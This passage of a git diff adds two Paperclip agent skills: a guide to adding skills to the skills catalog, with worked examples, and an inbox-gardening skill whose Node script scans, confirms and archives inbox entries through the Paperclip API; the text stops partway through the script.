diff --git a/.agents/skills/create-paperclip-bundled-skill/SKILL.md b/.agents/skills/create-paperclip-bundled-skill/SKILL.md new file mode 100644 index 00000000000..50b4dd57ab4 --- /dev/null +++ b/.agents/skills/create-paperclip-bundled-skill/SKILL.md @@ -0,0 +1,265 @@ +--- +name: create-paperclip-bundled-skill +description: > + Turn an idea, tweet, or task into a skill in the Paperclip skills catalog + (packages/skills-catalog). Use when asked to FIND or MAKE a skill and publish + it as a bundled/optional catalog skill: research prior art, reference or + author it, add examples, regenerate the manifest, open a PR. +--- + +# Create a Paperclip Bundled Skill + +Take source material — a tweet, a task description, a blog post, "make a skill +that does X" — and land it as a skill in the Paperclip skills catalog +(`packages/skills-catalog/`), delivered as a reviewed PR. The catalog is the +shelf every Paperclip company browses and installs from, so the bar is: correct +metadata, useful instructions, worked examples, and a clean validation run. + +The core rule is **FIND before MAKE**: if a good skill already exists (in the +catalog, in this repo, or published on GitHub), reference or adapt it instead +of writing a duplicate from scratch. + +## When to use + +- A human sends a tweet/link/idea and asks for it to become a Paperclip skill. +- A task asks to bundle an existing repo skill into the catalog. +- A task asks to add an external published skill to the catalog. + +## When not to use + +- The skill is company-private (belongs in that company's library via the + Skills UI/API, not the shipped catalog). +- You only need a repo-internal agent skill for working on Paperclip itself — + that goes in `.agents/skills/` or `skills/`, with no catalog machinery. + +## Step 0 — Capture the source material + +Understand exactly what the skill should teach before writing anything. + +**Tweets / X links.** Use the `xc` CLI (X API client). Paperclip engineering +agent environments ship it preinstalled and pre-authenticated; it is not a +tool you install or mint credentials for yourself. Check availability before +relying on it: + +```sh +command -v xc && xc whoami # on PATH and authenticated? if not, use the fallback below +``` + +```sh +xc get --json # the post itself (conversation_id, author) +xc search 'conversation_id:' --archive --json # rest of the thread (>7 days old needs --archive) +xc user # author context +xc search '' -n 30 # related discussion +``` + +If `xc` is not on PATH, is unauthenticated, or the account lacks read access +(the check above fails for any reason), delegate the +fetch to a teammate with X/Twitter access (e.g. the Content Strategist agent) +via a child issue: give them the URL and ask for full text of the post + thread ++ any linked content. + +**Other sources.** Fetch linked articles/READMEs directly. Record the source +URL — it goes in the skill body or PR description as attribution. + +Distill: what is the repeatable procedure? What inputs does it take? What does +"done" look like? If the source is just an aspiration ("agents should write +better commit messages"), you are authoring the procedure yourself — say so in +the PR. + +## Step 1 — FIND: search for an existing skill + +Search in this order; stop when you have a clear winner. + +1. **Already in the catalog?** Avoid duplicates (duplicate slugs fail the + build): + ```sh + grep -i '' packages/skills-catalog/generated/catalog.json + ls packages/skills-catalog/catalog/{bundled,optional}/*/ + ``` +2. **Already in this repo?** Check `.agents/skills/`, `skills/`, and issue + history (`gh search issues` / Paperclip board) for prior work on the topic. +3. **Published on GitHub?** Skills are conventionally a directory with a + `SKILL.md`: + ```sh + gh search code --filename SKILL.md "" --limit 20 + gh search repos " skill" --limit 20 + ``` + Also check known collections (e.g. `anthropics/skills`) and do a web search + for ` agent skill SKILL.md`. + +Judge candidates by: does the SKILL.md actually contain the procedure (not a +stub)? Is it maintained? What does it bundle (scripts raise the trust level)? +Is the license compatible with redistribution? Then pick a path: + +- **Good external skill exists** → add it as an **external reference** + (Step 2A). It stays attributed to and pinned at the upstream repo. +- **Partial match** → author a local skill (Step 2B) that adapts the idea; + credit the source with a link in the SKILL.md body. +- **Nothing usable** → author a new local skill (Step 2B). + +## Step 2 — Choose kind, category, and slug + +- **kind**: default to `optional`. Use `bundled` only when the skill should + ship to every Paperclip company by default — that needs explicit human/board + direction, not your judgment call. +- **category**: reuse an existing directory when one fits (`browser`, + `content`, `docs`, `finance`, `paperclip-operations`, `product`, `quality`, + `research`, `software-development`). New categories are allowed but must be + lowercase kebab-case slugs. +- **slug**: lowercase kebab-case (`^[a-z0-9]+(-[a-z0-9]+)*$`), unique across + the whole catalog (both kinds). + +The skill lives at +`packages/skills-catalog/catalog////` and its canonical +key is `paperclipai///`. + +## Step 2A — External reference path (`catalog-ref.json`) + +The directory contains **only** `catalog-ref.json` (a directory with both +`catalog-ref.json` and `SKILL.md` fails the build). The manifest builder +fetches the pinned files from GitHub at build time and inventories them. + +```sh +# Pin the exact commit for the chosen ref (tag or branch) +gh api repos///commits/ --jq .sha +``` + +```json +{ + "source": { + "type": "github", + "hostname": "github.com", + "owner": "", + "repo": "", + "ref": "", + "commit": "<40-char sha from above>", + "path": "" + }, + "files": ["SKILL.md", "references/**", "scripts/run.py"], + "defaultInstall": false, + "recommendedForRoles": ["researcher"], + "requires": ["python3"], + "tags": ["topic", "keywords"] +} +``` + +Rules the builder enforces: + +- `files` entries are exact relative paths or `dir/**` globs; `SKILL.md` must + be included and must have frontmatter with `name` and `description`. +- If the upstream frontmatter declares `key`/`slug`, they must match the + catalog placement — otherwise pick a matching slug or use the local path. +- `commit` must be a full 40-hex SHA; every listed file must be ≤ 1 MiB. +- `recommendedForRoles`, `requires`, `tags` live in the JSON (there is no + local SKILL.md to carry them). + +See `catalog/optional/research/last30days/catalog-ref.json` for the live +example, and `examples/external-reference.md` next to this skill. + +## Step 2B — Author a local catalog skill + +Layout: + +``` +catalog//// +├── SKILL.md # required entrypoint +├── examples/ # 1–2 worked examples (Step 3) +├── references/ # optional deep-dive docs +├── scripts/ # optional — raises trust level, avoid unless needed +└── assets/ # optional templates/images +``` + +`SKILL.md` frontmatter (all validated by the builder): + +```markdown +--- +name: +description: > + 40–300 chars. Routing logic, not marketing: what it does, when to use it, + when not to. +key: paperclipai/// +recommendedForRoles: + - engineer # non-empty; used for staffing suggestions +tags: + - topic # non-empty; used for browse/search +--- +``` + +Optional frontmatter: `defaultInstall: true` (only for skills every new +company should get), `requires: [node, python3, ...]` for runtime deps. + +Body: follow `docs/guides/agent-developer/writing-a-skill.md` — "When to use" +/ "When not to use" sections, concrete commands over prose, supporting detail +in `references/`. If the skill came from a tweet or external source, link it +in the body for attribution. + +Trust level is derived from files, not declared: any `scripts/` file makes the +skill `scripts_executables` (install becomes audit-gated and you must extend +the `scriptBearing` expectation in `src/shipped-catalog.test.ts`); `assets/` +or non-markdown files make it `assets`; markdown-only skills stay +`markdown_only`. Prefer markdown-only. + +## Step 3 — Write 1–2 worked examples + +Create `examples/` inside the skill directory with one or two markdown files, +each a complete input → application → output walkthrough (realistic input, the +skill's steps applied, the finished artifact). These ship with the skill so +installers can judge it before running it, and they keep the trust level at +`markdown_only` because they are `.md` files. + +Name them by scenario, e.g. `examples/rewrite-release-note.md`. + +## Step 4 — Regenerate the manifest and update tests + +Never hand-edit `generated/catalog.json`; it is deterministic build output. + +```sh +pnpm --filter @paperclipai/skills-catalog build:manifest # regenerates generated/catalog.json +pnpm --filter @paperclipai/skills-catalog validate # must report no errors +``` + +(External references need network access to GitHub during these steps.) + +Then update `packages/skills-catalog/src/shipped-catalog.test.ts`: + +- add the new key to `EXPECTED_BUNDLED_KEYS` or `EXPECTED_OPTIONAL_KEYS` + (alphabetical order); +- if the skill bears scripts, add it to the `scriptBearing` expectation. + +```sh +pnpm --filter @paperclipai/skills-catalog test +``` + +The test suite also enforces the ≤300-char frontmatter description budget +across the repo and the ≥40-char description / non-empty roles+tags rules for +every catalog skill. + +## Step 5 — Open the PR + +Follow the `prepare-paperclip-pr` skill (`.agents/skills/prepare-paperclip-pr/`) +against `paperclipai/paperclip` master. The diff should contain exactly: + +1. the new skill directory (SKILL.md + examples/ + supporting files, **or** + catalog-ref.json), +2. the regenerated `generated/catalog.json`, +3. the `shipped-catalog.test.ts` expectation update. + +In the PR body: link the source material (tweet URL, upstream repo), state +whether this is a new skill / adaptation / external reference, and note the +trust level. Reference PR #10410 (simplified-english) as the shape of a +minimal optional-skill PR. + +## Gotchas + +- `generated/catalog.json` staleness is a validation error — always rerun + `build:manifest` after any file change inside the skill directory (the + inventory carries per-file sha256 hashes). +- Duplicate `slug` across bundled *and* optional fails the build, not just + duplicate keys. +- Symlinks inside a skill directory must resolve within it; directory + symlinks are rejected — copy files in. +- The `bundled` kind and `defaultInstall` are independent axes; don't set + `defaultInstall: true` casually on optional skills. +- For external references the builder fetches from GitHub on every manifest + build; a moved/deleted upstream breaks the build, which is why `commit` is + pinned — prefer upstream tags for `ref`. diff --git a/.agents/skills/create-paperclip-bundled-skill/examples/external-reference.md b/.agents/skills/create-paperclip-bundled-skill/examples/external-reference.md new file mode 100644 index 00000000000..6c2084794df --- /dev/null +++ b/.agents/skills/create-paperclip-bundled-skill/examples/external-reference.md @@ -0,0 +1,84 @@ +# Example — FIND path: tweet → existing skill → external reference + +Real artifact: `packages/skills-catalog/catalog/optional/research/last30days/`. + +## Input + +Dotta sends a tweet praising a "last 30 days" research workflow that sweeps +Reddit/X/YouTube for what changed recently on a topic. + +## Step 0 — Capture + +```sh +xc get https://x.com//status/ --json # post text + conversation_id +xc search 'conversation_id:' --archive --json # the rest of the thread +``` + +The thread links a GitHub repo: `mvanhorn/last30days-skill`, which already +contains a proper skill (`skills/last30days/SKILL.md` plus scripts and +references). + +## Step 1 — FIND + +- Not in the catalog, not in this repo. +- The upstream repo IS the skill — maintained, tagged releases, real SKILL.md. +- Verdict: **FIND** — add it as an external reference, keep attribution and + updates upstream. + +## Step 2A — catalog-ref.json + +Placement: `optional` / `research` / `last30days`. Pin the release tag to an +exact commit: + +```sh +gh api repos/mvanhorn/last30days-skill/commits/v3.3.0 --jq .sha +# → daca71f89eb71d0d56d01a43ed7627aa919dba4f +``` + +`catalog/optional/research/last30days/catalog-ref.json` (the only file in the +directory): + +```json +{ + "source": { + "type": "github", + "hostname": "github.com", + "owner": "mvanhorn", + "repo": "last30days-skill", + "ref": "v3.3.0", + "commit": "daca71f89eb71d0d56d01a43ed7627aa919dba4f", + "path": "skills/last30days" + }, + "files": [ + "SKILL.md", + "agents/openai.yaml", + "references/**", + "scripts/briefing.py", + "scripts/compare.sh", + "scripts/last30days.py", + "scripts/lib/**", + "scripts/setup-keychain.sh", + "scripts/store.py", + "scripts/watchlist.py" + ], + "defaultInstall": false, + "recommendedForRoles": ["researcher", "marketer", "product-manager", "analyst"], + "requires": ["node", "python3"], + "tags": ["research", "last-30-days", "social-media", "trends", "citations", "reddit", "x", "youtube"] +} +``` + +Metadata (`recommendedForRoles`, `requires`, `tags`) lives in the JSON because +there is no local SKILL.md to carry it. + +## Steps 4–5 — Manifest, tests, PR + +- `pnpm --filter @paperclipai/skills-catalog build:manifest` fetches the + pinned files from GitHub and inventories them (network required). +- The skill bundles `scripts/`, so trust level derives to + `scripts_executables` → it must also be added to the `scriptBearing` + expectation in `src/shipped-catalog.test.ts`, alongside + `EXPECTED_OPTIONAL_KEYS`. +- PR diff: `catalog-ref.json`, regenerated `generated/catalog.json`, test + expectations. PR body links both the tweet and the upstream repo, and calls + out the elevated trust level so review is deliberate. diff --git a/.agents/skills/create-paperclip-bundled-skill/examples/new-local-skill.md b/.agents/skills/create-paperclip-bundled-skill/examples/new-local-skill.md new file mode 100644 index 00000000000..7a0d1c4aa85 --- /dev/null +++ b/.agents/skills/create-paperclip-bundled-skill/examples/new-local-skill.md @@ -0,0 +1,90 @@ +# Example — MAKE path: idea → new optional catalog skill + +Real run: PAP-15684 → PR #10410 (`feat(skills-catalog): add optional +/simplified-english skill`). + +## Input + +Task from Dotta: "make a skill that has agents write user-facing text in +Simplified English." No tweet this time — the source is a known public +specification (ASD-STE100 Simplified Technical English). + +## Step 1 — FIND + +- `grep -i 'simplified\|plain.english' packages/skills-catalog/generated/catalog.json` + → no hits; nothing in `.agents/skills/` or `skills/` either. +- `gh search code --filename SKILL.md "simplified technical english"` → no + usable published skill (only STE checker tools, no SKILL.md procedure). +- Verdict: **MAKE** a new local skill. + +## Step 2 — Placement + +- kind: `optional` (useful, but not something every company must ship with). +- category: `content` (existing category, fits writing/communication). +- slug: `simplified-english`. +- Path: `packages/skills-catalog/catalog/optional/content/simplified-english/`. + +## Step 2B — Authoring + +One markdown-only `SKILL.md` (trust level stays `markdown_only`): + +```markdown +--- +name: simplified-english +description: Write user-facing comments, plans, and documents in ASD-STE100 Simplified Technical English — short, unambiguous sentences with approved words and one meaning each — so readers understand them the first time. +key: paperclipai/optional/content/simplified-english +recommendedForRoles: + - engineer + - product + - writer + - devrel +tags: + - writing + - communication + - clarity + - style +--- + +# Simplified English + +For user-facing comments, plans, and documents, write using only ASD-STE100 +Simplified Technical English. + +## Core rules + +- Use short sentences (procedures ≤ 20 words, descriptions ≤ 25 words). +- Give one instruction per sentence. +- Use approved words with one meaning each; avoid synonyms and jargon. +... +``` + +Note the frontmatter hits every builder rule: description is 40–300 chars, +`key` matches the placement, roles and tags are non-empty. + +## Steps 3–4 — Examples, manifest, tests + +- Add `examples/rewrite-status-comment.md` showing a jargon-heavy status + comment rewritten under the rules (before/after). +- `pnpm --filter @paperclipai/skills-catalog build:manifest` → regenerates + `generated/catalog.json` with the new entry. +- Add `"paperclipai/optional/content/simplified-english"` to + `EXPECTED_OPTIONAL_KEYS` in `src/shipped-catalog.test.ts` (alphabetical). +- `pnpm --filter @paperclipai/skills-catalog test` → green. + +## Step 5 — PR + +Four-part diff: + +``` +packages/skills-catalog/catalog/optional/content/simplified-english/SKILL.md +packages/skills-catalog/catalog/optional/content/simplified-english/examples/rewrite-status-comment.md +packages/skills-catalog/generated/catalog.json +packages/skills-catalog/src/shipped-catalog.test.ts +``` + +(The historical PR #10410 predates this skill and shipped as a three-part +diff without the `examples/` file; a run that follows this skill includes the +worked example from Step 3 in the same PR.) + +PR body links the ASD-STE100 spec as the source and states trust level +`markdown_only`. diff --git a/.agents/skills/garden-inbox/SKILL.md b/.agents/skills/garden-inbox/SKILL.md new file mode 100644 index 00000000000..8317916bc78 --- /dev/null +++ b/.agents/skills/garden-inbox/SKILL.md @@ -0,0 +1,100 @@ +--- +name: garden-inbox +description: Scan a Paperclip user's Mine inbox, classify reversible archive candidates, request checkbox confirmation, and archive only accepted selections. Use when asked to garden, clean up, prune, or tidy a Paperclip inbox without changing issues, branches, or workspaces. +--- + +# Garden Inbox + +Use the bundled script for every stage. Keep the workflow strictly ordered: `scan` → `confirm` → `apply`. + +## Safety contract + +- Treat `scan` as read-only. It may read inbox, workspace, close-readiness, and local Git metadata only. +- Treat `confirm` as a confirmation-card write only. It must not archive inbox entries or mutate issue fields, branches, or workspaces. +- Run `apply` only after a resolved `request_checkbox_confirmation` interaction. It archives only accepted option IDs that also occur in the originating `candidates.json`. +- Remember that inbox archive state is per-user presentation state. It is reversible and does not change the underlying issue. +- Never substitute issue status changes, branch deletion, workspace cleanup, or issue deletion for inbox archiving. + +## Inputs + +Require `PAPERCLIP_API_URL` and `PAPERCLIP_API_KEY`. The script strips a trailing `/api` from the URL. It resolves the target user from the run JWT payload's `responsible_user_id`; use `--user-id ` only for an explicit target override. + +Use a run-owned output directory when available: + +```bash +RUN_DIR="${PAPERCLIP_RUN_SCRATCH_DIR:-${PAPERCLIP_TASK_SCRATCH_DIR:-.}}/garden-inbox" +mkdir -p "$RUN_DIR" +``` + +## 1. Scan + +```bash +node .agents/skills/garden-inbox/scripts/garden-inbox.mjs scan \ + --output-dir "$RUN_DIR" \ + --stale-days 60 +``` + +Inspect `garden-inbox-report.md` and `candidates.json`. The report groups every inbox row into exactly one bucket: + +The scan reads Mine separately for each included issue status so the endpoint's global 500-row cap does not silently omit older rows. If any single-status query reaches that cap, both outputs mark coverage as possibly truncated; do not treat that scan as complete. + +- A: merged/archived workspace and all linked work terminal; selected by default. +- B: terminal or workspace-gone work idle beyond the threshold; selected by default. +- C: stale work with commits ahead of base; never selected by default. +- D: keep; never offered for archiving. + +Do not manually promote bucket D entries into the candidate file. + +## 2. Confirm + +Post checkbox interactions on the driving issue: + +```bash +node .agents/skills/garden-inbox/scripts/garden-inbox.mjs confirm \ + --issue-id "$PAPERCLIP_TASK_ID" \ + --candidates "$RUN_DIR/candidates.json" +``` + +The script posts sequential cards when a scan has more than 200 candidates. Re-running `confirm` with the same scan file is idempotent. Leave the driving issue in the waiting posture required by the surrounding Paperclip heartbeat workflow. + +When a candidate was declined by the user in an earlier pass, pass `--unselect ` (repeatable) so it starts unchecked and its description notes the earlier decline. Never re-offer previously declined items as default-checked. + +For development or payload review, suppress the POST: + +```bash +node .agents/skills/garden-inbox/scripts/garden-inbox.mjs confirm \ + --issue-id "$PAPERCLIP_TASK_ID" \ + --candidates "$RUN_DIR/candidates.json" \ + --dry-run +``` + +## 3. Apply accepted selections + +After an interaction-resolution wake, take the resolved interaction ID from the wake payload and run: + +```bash +node .agents/skills/garden-inbox/scripts/garden-inbox.mjs apply \ + --issue-id "$PAPERCLIP_TASK_ID" \ + --interaction-id "$INTERACTION_ID" \ + --candidates "$RUN_DIR/candidates.json" +``` + +On rejection, expiry, or an accepted empty selection, the script archives nothing. Apply preserves the scan file's target user, including an explicit `--user-id` override. Its summary includes the API undo path and target-user body for every archived row. + +Test `apply` without API writes by supplying a saved interaction response: + +```bash +node .agents/skills/garden-inbox/scripts/garden-inbox.mjs apply \ + --issue-id "$PAPERCLIP_TASK_ID" \ + --interaction-file resolved-interaction.json \ + --candidates "$RUN_DIR/candidates.json" \ + --dry-run +``` + +## Verify the bundled logic + +Run the zero-dependency Node tests after changing classification or selection safety: + +```bash +node --test .agents/skills/garden-inbox/scripts/garden-inbox.test.mjs +``` diff --git a/.agents/skills/garden-inbox/scripts/garden-inbox.mjs b/.agents/skills/garden-inbox/scripts/garden-inbox.mjs new file mode 100755 index 00000000000..17eedf954d1 --- /dev/null +++ b/.agents/skills/garden-inbox/scripts/garden-inbox.mjs @@ -0,0 +1,721 @@ +#!/usr/bin/env node + +import { createHash } from "node:crypto"; +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { dirname, resolve } from "node:path"; +import { pathToFileURL } from "node:url"; + +const TERMINAL_STATUSES = new Set(["done", "cancelled"]); +const OFFERED_BUCKETS = new Set(["A", "B", "C"]); +const DEFAULT_STALE_DAYS = 60; +const INTERACTION_LIMIT = 200; +const INBOX_MINE_STATUSES = ["backlog", "todo", "in_progress", "in_review", "blocked", "done"]; +const INBOX_QUERY_CAP = 500; + +class ApiError extends Error { + constructor(status, message, body = null) { + super(`${status}: ${message}`); + this.name = "ApiError"; + this.status = status; + this.body = body; + } +} + +function usage() { + return `Usage: + garden-inbox.mjs [scan] [--user-id UUID] [--stale-days 60] [--output-dir DIR] + garden-inbox.mjs confirm [--issue-id ID] [--candidates FILE] [--unselect ISSUE_ID]... [--dry-run] + garden-inbox.mjs apply [--issue-id ID] (--interaction-id ID | --interaction-file FILE) [--candidates FILE] [--dry-run] + +Common environment: + PAPERCLIP_API_URL, PAPERCLIP_API_KEY, PAPERCLIP_RUN_ID, PAPERCLIP_TASK_ID`; +} + +function parseArgs(argv) { + const args = [...argv]; + let command = "scan"; + if (args[0] && !args[0].startsWith("-")) command = args.shift(); + if (!["scan", "confirm", "apply"].includes(command)) throw new Error(`Unknown command: ${command}`); + + const options = {}; + while (args.length > 0) { + const token = args.shift(); + if (token === "--help" || token === "-h") { + options.help = true; + continue; + } + if (!token.startsWith("--")) throw new Error(`Unexpected argument: ${token}`); + const key = token.slice(2).replaceAll("-", "_"); + if (key === "dry_run") { + options[key] = true; + continue; + } + const value = args.shift(); + if (value === undefined || value.startsWith("--")) throw new Error(`${token} requires a value`); + if (options[key] === undefined) options[key] = value; + else options[key] = Array.isArray(options[key]) ? [...options[key], value] : [options[key], value]; + } + return { command, options }; +} + +function required(value, name) { + if (typeof value !== "string" || value.trim() === "") throw new Error(`${name} is required`); + return value.trim(); +} + +function normalizeApiBase(value) { + let base = required(value, "PAPERCLIP_API_URL").replace(/\/+$/, ""); + if (base.endsWith("/api")) base = base.slice(0, -4); + return base; +} + +function runtime(options, { requireApi = true } = {}) { + const apiUrl = options.api_url ?? process.env.PAPERCLIP_API_URL; + const apiKey = options.api_key ?? process.env.PAPERCLIP_API_KEY; + return { + apiBase: requireApi ? normalizeApiBase(apiUrl) : (apiUrl ? normalizeApiBase(apiUrl) : null), + apiKey: requireApi ? required(apiKey, "PAPERCLIP_API_KEY") : apiKey ?? null, + runId: options.run_id ?? process.env.PAPERCLIP_RUN_ID ?? null, + }; +} + +async function apiRequest(context, path, { method = "GET", body } = {}) { + const headers = { Accept: "application/json", Authorization: `Bearer ${context.apiKey}` }; + if (body !== undefined) headers["Content-Type"] = "application/json"; + if (method !== "GET" && context.runId) headers["X-Paperclip-Run-Id"] = context.runId; + const response = await fetch(`${context.apiBase}/api${path}`, { + method, + headers, + body: body === undefined ? undefined : JSON.stringify(body), + }); + const text = await response.text(); + let parsed = null; + if (text) { + try { parsed = JSON.parse(text); } catch { parsed = text; } + } + if (!response.ok) { + const message = parsed && typeof parsed === "object" + ? parsed.error ?? parsed.message ?? response.statusText + : parsed ?? response.statusText; + throw new ApiError(response.status, String(message), parsed); + } + return parsed; +} + +function decodeJwtPayload(token) { + const parts = required(token, "PAPERCLIP_API_KEY").split("."); + if (parts.length < 2) throw new Error("PAPERCLIP_API_KEY is not a JWT; pass --user-id explicitly"); + try { + return JSON.parse(Buffer.from(parts[1], "base64url").toString("utf8")); + } catch { + throw new Error("Could not decode the PAPERCLIP_API_KEY JWT payload; pass --user-id explicitly"); + } +} + +function resolveUserId(options, apiKey) { + if (options.user_id) return required(options.user_id, "--user-id"); + const userId = decodeJwtPayload(apiKey).responsible_user_id; + if (typeof userId !== "string" || userId.trim() === "") { + throw new Error("Run JWT has no responsible_user_id; pass --user-id explicitly"); + } + return userId.trim(); +} + +function parsePositiveInteger(value, fallback, name) { + if (value === undefined) return fallback; + const parsed = Number(value); + if (!Number.isInteger(parsed) || parsed < 1 || parsed > 3650) { + throw new Error(`${name} must be an integer from 1 to 3650`); + } + return parsed; +} + +function validDate(value) { + if (!value) return null; + const date = new Date(value); + return Number.isNaN(date.getTime()) ? null : date; +} + +function latestDate(...values) { + return values.flat().map(validDate).filter(Boolean).sort((left, right) => right.getTime() - left.getTime())[0] ?? null; +} + +function runGit(args, cwd) { + try { + return execFileSync("git", ["-C", cwd, ...args], { + encoding: "utf8", + stdio: ["ignore", "pipe", "ignore"], + timeout: 5_000, + }).trim(); + } catch { + return ""; + } +} + +function gitLastCommitAt(branchName, roots) { + if (!branchName) return null; + for (const root of [...new Set(roots.filter(Boolean))]) { + const parsed = validDate(runGit(["log", "-1", "--format=%cI", branchName], root)); + if (parsed) return parsed; + } + return null; +} + +function findLocalBranch(identifier, roots) { + if (!identifier) return null; + const needle = identifier.toLowerCase(); + for (const root of [...new Set(roots.filter(Boolean))]) { + const branches = runGit(["for-each-ref", "--format=%(refname:short)", "refs/heads"], root) + .split("\n").map((branch) => branch.trim()).filter(Boolean) + .filter((branch) => branch.toLowerCase().includes(needle)); + if (branches.length === 1) return branches[0]; + } + return null; +} + +async function mapLimit(values, limit, mapper) { + const results = new Array(values.length); + let cursor = 0; + async function worker() { + while (cursor < values.length) { + const index = cursor++; + results[index] = await mapper(values[index], index); + } + } + await Promise.all(Array.from({ length: Math.min(limit, values.length) }, worker)); + return results; +} + +async function fetchMineInboxRows(context, userId) { + const statusResults = await Promise.all(INBOX_MINE_STATUSES.map(async (status) => { + const query = new URLSearchParams({ userId, status }); + const rows = await apiRequest(context, `/agents/me/inbox/mine?${query}`); + if (!Array.isArray(rows)) throw new Error(`Inbox API returned a non-array response for status ${status}`); + return { status, rows }; + })); + const rowsById = new Map(); + const statusCounts = {}; + const cappedStatuses = []; + let duplicateCount = 0; + for (const { status, rows } of statusResults) { + statusCounts[status] = rows.length; + if (rows.length >= INBOX_QUERY_CAP) cappedStatuses.push(status); + for (const issue of rows) { + if (rowsById.has(issue.id)) duplicateCount += 1; + rowsById.set(issue.id, issue); + } + } + return { + rows: [...rowsById.values()], + coverage: { + strategy: "per_status", + queryCap: INBOX_QUERY_CAP, + statusCounts, + cappedStatuses, + duplicateCount, + complete: cappedStatuses.length === 0, + }, + }; +} + +async function inspectWorkspace(context, workspaceId, issueIdentifiers, gitRoot) { + let workspace = null; + let readiness = null; + let gone = false; + let error = null; + try { + workspace = await apiRequest(context, `/execution-workspaces/${encodeURIComponent(workspaceId)}`); + } catch (caught) { + if (caught instanceof ApiError && caught.status === 404) gone = true; + else error = caught.message; + } + if (workspace) { + try { + readiness = await apiRequest(context, `/execution-workspaces/${encodeURIComponent(workspaceId)}/close-readiness`); + } catch (caught) { + error = error ?? caught.message; + } + } + + const roots = [workspace?.cwd, workspace?.providerRef, readiness?.git?.repoRoot, readiness?.git?.workspacePath, gitRoot]; + let branchName = workspace?.branchName ?? readiness?.git?.branchName ?? null; + if (!branchName && gone) { + const matches = issueIdentifiers.map((identifier) => findLocalBranch(identifier, roots)).filter(Boolean); + if (new Set(matches).size === 1) branchName = matches[0]; + } + const branchCommitAt = gitLastCommitAt(branchName, roots); + return { + id: workspaceId, + gone, + error, + status: workspace?.status ?? null, + branchName, + lastUsedAt: workspace?.lastUsedAt ?? null, + branchCommitAt: branchCommitAt?.toISOString() ?? null, + readiness, + }; +} + +function reason(code, message, facts = {}) { + return { code, message, facts }; +} + +function classify(issue, workspaceInfo, staleDays, now) { + const terminal = TERMINAL_STATUSES.has(issue.status); + const workspaceArchived = workspaceInfo?.status === "archived"; + const workspaceGone = Boolean(workspaceInfo?.gone); + const readiness = workspaceInfo?.readiness ?? null; + const linkedIssues = Array.isArray(readiness?.linkedIssues) ? readiness.linkedIssues : []; + const allLinkedIssuesTerminal = Boolean(readiness) && linkedIssues.every((linked) => linked.isTerminal === true); + const mergedIntoBase = readiness?.git?.isMergedIntoBase === true; + const aheadCount = Number.isInteger(readiness?.git?.aheadCount) ? readiness.git.aheadCount : null; + const blockerAttention = issue.blockerAttention?.state; + const hasOpenBlockers = issue.status === "blocked" + || (Array.isArray(issue.blockedBy) && issue.blockedBy.some((blocker) => !TERMINAL_STATUSES.has(blocker.status))) + || (typeof blockerAttention === "string" && blockerAttention !== "none"); + const awaitingUser = issue.blockedInboxAttention?.state === "awaiting_decision" + || (issue.status === "in_review" && Boolean(issue.assigneeUserId)); + const issueActivity = latestDate(issue.lastActivityAt, issue.updatedAt, issue.createdAt); + const branchActivity = latestDate(workspaceInfo?.branchCommitAt, workspaceInfo?.lastUsedAt); + const lastActivity = latestDate(issueActivity, branchActivity) ?? new Date(0); + const cutoff = new Date(now.getTime() - staleDays * 86_400_000); + const stale = lastActivity.getTime() <= cutoff.getTime(); + const facts = { + issueStatus: issue.status, + workspaceStatus: workspaceInfo?.status ?? null, + workspaceGone, + workspaceInspectionError: workspaceInfo?.error ?? null, + mergedIntoBase, + allLinkedIssuesTerminal, + aheadCount, + staleDays, + }; + + if (workspaceInfo?.error) { + return { + bucket: "D", + reason: reason("workspace_inspection_failed", "Keep: workspace archive safety could not be verified.", facts), + lastActivity, + }; + } + if (hasOpenBlockers) return { bucket: "D", reason: reason("open_blockers", "Keep: the issue has unresolved blocker or liveness attention.", facts), lastActivity }; + if (awaitingUser) return { bucket: "D", reason: reason("pending_user_action", "Keep: the issue is awaiting a user decision or review.", facts), lastActivity }; + if (!terminal) { + const code = issue.status === "in_review" ? "pending_interaction_or_review" : "non_terminal_status"; + return { bucket: "D", reason: reason(code, `Keep: issue status ${issue.status} is not terminal.`, facts), lastActivity }; + } + if ((mergedIntoBase || workspaceArchived) && allLinkedIssuesTerminal) { + const code = workspaceArchived ? "workspace_archived_finished" : "merged_finished"; + return { bucket: "A", reason: reason(code, "Archive candidate: work is merged or archived and every linked issue is terminal.", facts), lastActivity }; + } + if (!stale) return { bucket: "D", reason: reason("recent_activity", `Keep: activity is newer than ${staleDays} days.`, facts), lastActivity }; + if (aheadCount !== null && aheadCount > 0) { + return { bucket: "C", reason: reason("stale_unmerged_commits", `Review manually: stale branch is ${aheadCount} commit(s) ahead of base.`, facts), lastActivity }; + } + if (terminal || workspaceGone) { + return { bucket: "B", reason: reason("stale_terminal_or_workspace_gone", `Archive candidate: no issue or branch activity for at least ${staleDays} days and the issue is terminal or workspace is gone.`, facts), lastActivity }; + } + return { bucket: "D", reason: reason("insufficient_archive_evidence", "Keep: archive safety conditions were not met.", facts), lastActivity }; +} + +function candidateFrom(issue, workspace, classification) { + return { + issueId: issue.id, + identifier: issue.identifier ?? null, + title: issue.title, + bucket: classification.bucket, + reason: classification.reason, + executionWorkspaceId: issue.executionWorkspaceId ?? null, + workspaceStatus: workspace?.status ?? null, + workspaceGone: Boolean(workspace?.gone), + branchName: workspace?.branchName ?? null, + lastActivityAt: classification.lastActivity.toISOString(), + }; +} + +function markdownEscape(value) { + return String(value ?? "").replaceAll("|", "\\|").replaceAll("\n", " "); +} + +function renderReport(scanResult) { + const labels = { + A: "A — merged and finished (default checked)", + B: "B — stale (default checked)", + C: "C — stale but unmerged (default unchecked)", + D: "D — keep (not offered)", + }; + const lines = [ + "# Garden inbox scan", "", + `- Generated: ${scanResult.generatedAt}`, + `- Target user: \`${scanResult.userId}\``, + `- Stale threshold: ${scanResult.staleDays} days`, + `- Inbox rows classified: ${scanResult.items.length}`, + `- Archive candidates: ${scanResult.candidates.length}`, + `- Scan coverage: ${scanResult.coverage.complete ? "complete across per-status queries" : "possibly truncated"}`, + ]; + if (!scanResult.coverage.complete) { + lines.push( + "", + "> [!WARNING]", + `> Coverage may be incomplete: ${scanResult.coverage.cappedStatuses.map((status) => `\`${status}\``).join(", ")} returned at least ${scanResult.coverage.queryCap} rows, the Mine endpoint cap.`, + ); + } + for (const bucket of ["A", "B", "C", "D"]) { + const items = scanResult.items.filter((item) => item.bucket === bucket); + lines.push("", `## ${labels[bucket]} (${items.length})`, ""); + if (items.length === 0) { + lines.push("_None._"); + continue; + } + lines.push("| Issue | Title | Reason | Workspace / branch | Last activity |", "|---|---|---|---|---|"); + for (const item of items) { + const issue = 